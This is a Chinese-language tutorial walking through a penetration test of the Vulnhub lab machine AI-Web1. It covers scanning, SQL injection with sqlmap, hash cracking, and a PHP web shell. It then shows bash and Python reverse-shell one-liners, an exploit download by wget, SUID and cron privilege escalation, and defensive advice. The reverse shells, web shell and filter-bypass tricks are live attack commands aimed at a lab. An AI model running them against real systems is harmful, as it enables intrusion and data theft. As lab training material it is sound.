
1. 项目概述与核心目标最近在Vulnhub上发现了一个挺有意思的靶机叫AI-Web1。看名字就知道它模拟了一个带有“AI”元素的Web应用环境这正好可以用来练手看看在看似智能的应用背后那些经典的安全漏洞是否依然存在。这个靶机的核心目标很明确从外部网络通过Web渗透的手段最终获取靶机的最高权限root shell。整个过程会大量用到Kali Linux这个渗透测试专用系统以及SQLMap这个自动化SQL注入神器。我打算把这次完整的实战过程记录下来从环境搭建、信息收集到漏洞利用、权限提升每一步都配上详细的截图和操作说明目标是让无论是刚接触安全的新手还是想复习一下流程的老手都能跟着做一遍亲手把靶机给“打下来”。为什么选这个靶机首先Vulnhub的靶机质量普遍不错环境还原度高不会出现一些模拟器里那种“阉割”掉关键步骤的情况。其次“AI-Web1”这个主题本身就有吸引力它可能涉及一些数据处理、API交互这些地方往往是安全盲区。最后整个渗透路径非常经典涵盖了Web安全中最常见也最危险的漏洞之一——SQL注入非常适合用来巩固基本功和工具链。接下来我会假设你已经在VMware或VirtualBox里安装好了Kali Linux并且从Vulnhub官网下载了AI-Web1的虚拟机镜像通常是.ova或.vmdk格式。我们的旅程就从让这两台虚拟机在同一个虚拟网络中“见面”开始。2. 环境准备与网络配置2.1 靶机与攻击机部署实战的第一步是把战场搭建好。你需要两个虚拟机一个是攻击机Kali Linux另一个是目标靶机AI-Web1。我个人的习惯是使用VMware Workstation因为它的网络模式配置起来比较直观。VirtualBox用户操作逻辑也类似。首先导入AI-Web1的OVA文件。导入后非常重要的一步是检查并修改虚拟机的网络设置。你需要将Kali Linux和AI-Web1靶机的网络适配器都设置为同一个模式。对于这种内网渗透测试最常用的是“NAT模式”或“仅主机模式Host-Only”。NAT模式两台虚拟机可以互通并且都能通过宿主机的网络访问外网比如下载工具更新。这是最方便的选择。仅主机模式创建一个完全封闭的虚拟网络只有宿主机和虚拟机之间可以通信虚拟机无法访问外网。这更隔离但有时需要宿主机充当网关。我推荐初学者使用NAT模式。在VMware中分别右键点击两台虚拟机 - 设置 - 网络适配器选择“NAT模式”。确保两台虚拟机都启动后它们就在同一个虚拟子网里了。2.2 信息收集发现目标靶机启动后它通常不会主动告诉你它的IP地址。我们的第一个任务就是找到它。在Kali Linux中打开终端。1. 查看自身IP确定网段ifconfig # 或者使用新命令 ip addr show你会看到类似于inet 192.168.xxx.xxx的信息。记下这个网段比如192.168.1.0/24。你的Kali IP可能是192.168.1.105。2. 扫描同一网段内存活的主机最经典的工具是nmap。我们进行一个快速的Ping扫描。sudo nmap -sn 192.168.1.0/24-sn参数表示只进行主机发现Ping扫描不进行端口扫描。扫描完成后你会看到一个IP地址列表。除了你已知的Kali Linux的IP那个新出现的、主机名可能包含“AI-Web1”或类似字样的IP就是我们的目标靶机。假设我们发现了192.168.1.120。注意有些靶机可能禁用了ICMP回应Ping导致-sn扫描不到。这时可以使用ARP扫描工具如netdiscoversudo netdiscover -r 192.168.1.0/24ARP扫描在局域网内通常非常可靠。3. 对目标进行详细端口扫描找到目标IP例如192.168.1.120后我们需要知道它开放了哪些服务。sudo nmap -sV -sC -p- 192.168.1.120 -oN nmap_scan.txt-sV: 探测服务版本。-sC: 使用默认的Nmap脚本进行扫描能发现一些常见漏洞信息。-p-: 扫描所有65535个端口全端口扫描。如果觉得慢可以先扫常见端口-p 1-1000。-oN nmap_scan.txt: 将扫描结果输出到文件方便后续查看。扫描结果是指引我们下一步行动的“地图”。对于Web靶机我们通常期望看到80HTTP或443HTTPS端口开放。假设扫描结果显示192.168.1.120开放了80/tcp端口运行着Apache httpd服务。3. Web应用侦察与漏洞初探3.1 人工浏览与目录枚举发现80端口开放我们首先用浏览器直接访问http://192.168.1.120。用眼睛看是最直接的信息收集方式。注意观察网站是静态页面还是动态应用有没有登录框、搜索框、留言板等用户输入点页面底部或源代码中是否有框架、版本信息如Powered by XXX尝试点击所有可见链接观察URL参数变化。同时在后台我们可以用工具进行目录爆破寻找隐藏的路径或文件。常用的工具有gobuster或dirb。gobuster dir -u http://192.168.1.120 -w /usr/share/wordlists/dirb/common.txt -x php,txt,htmldir: 指定模式为目录爆破。-u: 指定目标URL。-w: 指定字典文件。Kali自带了很多字典common.txt是一个常用的起步字典。-x: 指定尝试的文件扩展名。这个步骤可能会发现像/admin、/login.php、/backup、/robots.txt这样的关键目录或文件。robots.txt文件有时会暴露出不想被爬取的敏感路径。3.2 识别潜在注入点在浏览或目录枚举过程中我们假设发现了一个关键页面http://192.168.1.120/product.php?id1。这是一个典型的动态页面通过id参数从数据库查询并展示产品信息。这类带数字参数的URL是SQL注入漏洞的“高发区”。我们可以立刻进行手工初步测试访问http://192.168.1.120/product.php?id1 正常显示产品1的信息。访问http://192.168.1.120/product.php?id1 在参数值后添加一个单引号。如果页面返回数据库错误如MySQL、SQLite错误信息或者页面布局崩坏、空白这强烈暗示此处存在SQL注入漏洞因为我们的引号破坏了原SQL语句的结构。进一步测试http://192.168.1.120/product.php?id1 AND 11和http://192.168.1.120/product.php?id1 AND 12。如果第一个页面正常第二个页面异常无数据或错误这几乎可以确认注入存在。因为11永真语句执行12永假语句可能查询不到数据。在AI-Web1靶机中我们很可能就在某个类似id的参数处发现了这种错误回显。手工确认漏洞存在后就该请出我们的自动化工具——SQLMap来高效地利用这个漏洞了。4. SQLMap自动化注入实战详解4.1 SQLMap基础探测确认了注入点product.php?id1 我们可以使用SQLMap进行自动化攻击。首先进行最基本的探测确认漏洞并获取数据库类型。sqlmap -u http://192.168.1.120/product.php?id1 --batch-u: 指定目标URL。--batch: 以“批处理”模式运行所有交互性提示都选择默认选项让工具自动执行。这对于新手和自动化脚本非常友好。执行后SQLMap会尝试各种注入技术布尔盲注、时间盲注、报错注入等。如果存在漏洞它会首先告诉你“参数id存在注入漏洞”并识别出后端数据库类型例如MySQL、PostgreSQL或SQLite。对于Vulnhub靶机MySQL和SQLite比较常见。4.2 获取数据库信息探测到漏洞后我们就像拿到了一把钥匙可以开始探索数据库内部了。1. 列出所有数据库sqlmap -u http://192.168.1.120/product.php?id1 --dbs --batch--dbs参数告诉SQLMap尝试枚举数据库管理系统中的所有数据库。结果可能会显示像information_schema、mysql系统库和ai_web_db靶机应用数据库这样的名字。2. 选择目标数据库并列出其表假设我们目标数据库是ai_web_db。sqlmap -u http://192.168.1.120/product.php?id1 -D ai_web_db --tables --batch-D指定数据库名--tables用于枚举该库下的所有表。输出可能会显示users、products、logs等表名。users表永远是渗透测试中的首要目标因为它很可能存储着用户名和密码哈希。3. 转储Dump关键表的数据锁定users表后我们可以把里面的数据全部拖取出来。sqlmap -u http://192.168.1.120/product.php?id1 -D ai_web_db -T users --dump --batch-T指定表名--dump表示转储该表的所有数据。执行这个命令后你很可能就能看到类似下面的结果------------------------------------------------ | id | username | password | ------------------------------------------------ | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | | 2 | john | e10adc3949ba59abbe56e057f20f883e | ------------------------------------------------这里得到了用户名和密码的哈希值MD5格式。admin的密码哈希是5f4dcc3b5aa765d61d8327deb882cf99 这是一个非常著名的哈希对应明文密码password。而john的哈希e10adc3949ba59abbe56e057f20f883e对应的是123456。实操心得--batch模式虽然方便但有时会错过一些需要人工判断的环节。例如SQLMap可能会询问你是否要使用更慢但更隐蔽的注入技术。在真实测试中根据情况选择“是”或“否”可能影响结果。在打靶练习时可以先用--batch快速推进如果遇到问题再去掉它根据提示交互式操作。4.3 密码破解与登录拿到密码哈希下一步就是破解。虽然我们已经通过常识猜到了明文但规范的做法是使用破解工具。Kali自带john约翰或hashcat。echo 5f4dcc3b5aa765d61d8327deb882cf99 hash.txt john --formatraw-md5 hash.txt --wordlist/usr/share/wordlists/rockyou.txtrockyou.txt是一个庞大的常用密码字典。对于这种简单哈希瞬间就能破解出来。现在我们有了凭据admin:password。回到靶机的Web界面寻找登录入口可能是/login.php或/admin。使用破解到的账号密码登录。成功登录后台管理界面是我们权限提升的关键一步。后台往往提供了文件上传、命令执行、系统配置等更高权限的功能。5. 权限提升与获取Root Shell5.1 从Web后台到系统Shell进入后台后目标是获得一个反向Shell即在靶机上建立一个连接让它主动连接到我们Kali的监听端口从而让我们获得一个命令行交互界面。常见方法文件上传漏洞后台如果有文件上传功能如上传头像、插件尝试上传一个包含Web Shell代码的PHP文件如shell.php。如果服务器配置不当未校验文件类型、未重命名上传成功后访问这个文件的URL就能执行系统命令。Web Shell代码示例一句话木马?php system($_GET[cmd]); ?上传后访问http://192.168.1.120/uploads/shell.php?cmdwhoami 页面会显示当前Web服务的运行用户通常是www-data。命令注入漏洞后台可能存在“Ping测试”、“系统信息”等功能其中调用了系统命令。如果输入未经过滤就可能注入命令。例如在“主机名”输入框输入8.8.8.8; whoami 如果返回了Ping结果和www-data 说明存在命令注入。在AI-Web1靶机中我们很可能通过其中一种方式获得了一个低权限的Web Shell或命令执行能力。5.2 建立反向Shell连接在Web界面执行命令不方便我们需要一个完整的交互式Shell。使用反向Shell技术。在Kali攻击机上先启动一个Netcat监听器sudo nc -lvnp 4444-l监听-v详细信息-n不解析域名-p 4444指定监听端口。然后在靶机的命令执行点注入一条反向Shell命令。根据靶机系统环境命令不同Bash环境bash -c bash -i /dev/tcp/192.168.1.105/4444 01Python环境如果靶机有Pythonpython -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.1.105,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/bash,-i]);注意这里的192.168.1.105需要替换成你Kali Linux的实际IP地址。命令执行成功后你会看到Kali的Netcat终端弹出了一个Shell提示符通常是www-dataai-web1:/var/www/html$。这表示我们已经成功进入了靶机系统但权限是Web服务用户www-data不是最高的root。5.3 本地权限提升Privilege Escalation现在我们需要从www-data提权到root。这是CTF和渗透测试中非常关键的一步。1. 信息收集在获得的Shell中执行# 查看当前用户和组 id # 查看系统内核版本 uname -a # 查看已安装的软件包和版本Debian/Ubuntu dpkg -l # 查看具有SUID权限的特殊文件重点 find / -perm -us -type f 2/dev/null # 查看计划任务crontab cat /etc/crontab ls -la /etc/cron.* # 查看是否有任何用户的主目录可读 ls -la /home/ # 查看进程寻找以root运行的有趣进程 ps aux | grep root2. 利用已知漏洞提权内核漏洞如果uname -a显示内核版本较老可以搜索对应的本地提权LPE漏洞。例如著名的DirtyCow脏牛漏洞。在Kali上搜索或下载对应的漏洞利用代码Exploit上传到靶机编译执行。在Kali上查找searchsploit linux kernel 3.2 privilege escalation上传文件到靶机的方法可以在Kali上开启一个简单的HTTP服务在靶机Shell中用wget下载。# Kali上在Exploit所在目录 sudo python3 -m http.server 8080 # 靶机Shell中 wget http://192.168.1.105:8080/exploit.cSUID文件滥用find / -perm -us -type f 2/dev/null命令会列出所有设置了SUID位的文件。如果其中包含bash、find、nmap旧版本、vim、more、less等可能可以通过它们来提权。例如发现/usr/bin/find有SUID位可以尝试/usr/bin/find . -exec /bin/bash -p \;这可能会直接给出一个root shell-p参数用于保留特权。Cron Job提权检查/etc/crontab 看是否有任何以root身份定期运行的任务并且该任务调用的脚本或二进制文件我们www-data用户有写入权限。如果有我们可以替换该文件内容为反向Shell命令等待Cron执行从而获得root shell。3. 在AI-Web1靶机中的实践根据以往经验Vulnhub靶机常会在上述某处设置提权点。例如可能有一个具有SUID权限的、自定义的二进制程序或者一个配置错误的Cron任务。通过仔细分析信息收集的结果结合一些枚举脚本如linpeas.sh通常能找到突破口。最终执行sudo su或获得root shell后使用cd /root和cat flag.txt或cat proof.txt 就能读取到最终的胜利标志Flag完成整个渗透测试。6. 常见问题、排查技巧与防御思考6.1 SQLMap使用中的常见问题问题SQLMap运行后长时间无结果或报错“connection timed out”。排查首先检查靶机是否还在运行网络是否通畅。其次检查注入点URL是否准确。有时网站有WAFWeb应用防火墙可以尝试使用SQLMap的绕WAF参数--tamperspace2comment或--random-agent随机化User-Agent。技巧对于速度慢的盲注可以增加线程和降低延迟--threads10 --delay1。问题--dump数据时特别慢尤其是遇到大量数据时。排查这是正常现象因为SQLMap在通过注入点逐条提取数据。可以尝试只提取关键列-C username,password --dump。技巧如果只需要证明漏洞存在或获取少量数据不必总是完整--dump。使用--sql-querySELECT username FROM users LIMIT 5直接执行自定义SQL语句可能更快。问题SQLMap提示“heuristics detected that the target is protected by some kind of WAF/IPS”。处理这确认了存在防护。除了使用--tamper 还可以尝试降低攻击强度--level1 --risk1 并配合时间延迟--time-sec5时间盲注时等待时间。6.2 反向Shell连接失败问题在靶机执行了反向Shell命令但Kali的Netcat没有收到连接。排查1防火墙。靶机可能本地有防火墙iptables阻止了出站连接。或者你的Kali防火墙阻止了入站连接可能性小。在靶机上尝试curl http://192.168.1.105:8080你的HTTP服务看是否能通先确认基础连通性。排查2命令语法和编码。Web输入点可能会对特殊字符如,,, 空格进行URL编码或过滤。尝试使用不同格式的命令或者将命令用Base64编码后解码执行。# 例如将 bash -i /dev/tcp/... 编码 echo bash -c bash -i /dev/tcp/192.168.1.105/4444 01 | base64 # 在注入点执行 echo {base64_string} | base64 -d | bash排查3Netcat版本。某些系统的Netcat如nc.traditional可能不支持-e参数。这时需要使用其他方法建立Shell如使用Python、PHP、Perl等脚本。6.3 权限提升思路受阻问题信息收集后没发现明显的内核漏洞、SUID滥用或Cron漏洞。深入枚举使用自动化脚本。将linpeas.sh或linenum.sh上传到靶机并运行。这些脚本会系统性地检查数十种提权路径并以彩色高亮形式输出可能的风险点比手动检查全面得多。检查密码复用尝试用之前破解的Web密码如admin:password去登录靶机的SSH服务如果22端口开放或者尝试su到其他用户。查看敏感配置文件检查/var/www/html目录下的Web配置文件如config.php,.env 里面可能包含数据库密码。有时数据库密码就是root用户的密码或者被其他用户复用。检查sudo -l如果www-data用户被配置了sudo权限运行sudo -l可以查看该用户能以root身份运行哪些特定命令。如果发现可以运行vi,nano,find,awk等通常可以借此提权。6.4 从攻击者视角看防御完成一次完整的渗透不仅是为了“攻破”更是为了理解如何“防御”。针对本次实战涉及的漏洞SQL注入防御根本方法使用参数化查询Prepared Statements或ORM框架确保用户输入永远不被解释为SQL代码。辅助措施对输入进行严格的类型检查如id参数强制为整数、使用最小权限的数据库连接账户、在Web应用层进行输入过滤和转义但不要仅依赖此方法。弱口令与密码哈希防御强制使用强密码策略长度、复杂度。密码在存储前必须加盐Salt并使用强哈希算法如Argon2, bcrypt, PBKDF2绝对不要使用MD5或未加盐的SHA系列。定期进行安全审计检查是否存在默认密码或弱口令。文件上传与命令注入防御文件上传使用白名单机制限制上传文件扩展名将上传文件重命名为随机名将上传目录设置为不可执行通过Web服务器配置对图片等文件进行二次处理。命令注入避免在代码中直接调用系统命令如exec(),system()。如果必须使用应使用安全的API如subprocess.run()并正确转义参数或严格限制输入格式如只允许数字和点号的IP地址。权限提升防御最小权限原则Web服务以低权限用户如www-data运行。定期审计系统上的SUID/SGID文件移除不必要的特权位。及时更新保持操作系统和所有软件包更新到最新版本修补已知的内核和软件漏洞。安全配置定期审查Cron任务、系统服务、sudoers配置确保没有不必要的权限暴露。整个渗透过程就像一次系统的安全体检每一步的突破都对应着一个安全环节的缺失。通过亲手实践攻击路径你对这些漏洞的原理、危害和修复方法的理解会比单纯看书深刻十倍。最后记得所有操作都在你自己搭建的虚拟实验环境中进行切勿对未经授权的任何系统进行测试。